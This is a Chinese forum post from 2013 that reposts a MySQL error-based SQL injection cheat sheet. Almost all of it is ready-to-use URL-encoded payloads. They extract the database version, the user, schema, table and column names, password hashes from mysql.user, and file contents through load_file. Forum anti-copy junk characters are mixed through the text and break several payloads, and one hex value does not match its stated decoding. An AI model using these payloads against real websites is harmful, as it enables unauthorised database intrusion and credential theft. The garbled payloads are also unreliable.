Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑

, V% P+ K5 |7 ~( D% K) ~
8 w" r" {8 o! q! G+ HMysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
5 ~4 d0 W( p2 ]" ^& K8 V0 ][Mysql暴错注入参考]
5 X: t7 h+ x8 }3 i. b+ Y5 @Authornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
, k4 {/ Q: F0 J6 A9 `: [Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
/ D& F' L$ A: m小部分版本使用name_const()时会报错.可以用给出的Method.2测试
8 Y7 ~# s" N7 \查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
* t4 e5 Z9 Q1 b: l! z4 Q查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
) i' f# k, b4 x2 u! o* SMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
+ M+ C- [$ v4 ~; d9 X! s9 x  \Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
- v( b" m' ^8 X( z( sMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
$ c) C9 |) B& a5 W4 T9 L1 \1 {or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
! {/ n9 X: @4 g* z. [依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
8 A) s8 Y5 A1 h6 [/ ZLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
: k$ ^* k4 x) P2 B% |( L, [and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
  M7 w) K# f* L" p9 L' q: Ebles+group+by+x)a)+and+1=1
' Q, _) L6 R! N. l0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
4 Y0 k. t& p& {. b5 Y, v+ W! fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
# U7 o/ A0 g2 ]: B$ W  f; m, c1 E+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
$ P1 j1 t% {7 dand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
; @+ F! x8 m: F( E. i. Z7 W+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
8 h( i: ^9 C2 G) Lloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
7 {$ {- X5 ^% M0 Y2 `+ Z依次暴内容:
; b$ E" i$ r' p* b9 ~! ~( Qand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
) U% r9 k2 ~( s3 S* J9 zma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
) J0 j/ `# }' @4 F1 {2 }将n顺序替换
# N3 L4 ^, l/ x/ r爆文件内容:
3 H' t3 o' i/ ^! @1 z1 b' _6 kand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
$ L& m: I  P: K) O/ t4 xfrom+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

不要下载也可以，
; d" ~$ p" Y% X3 c- s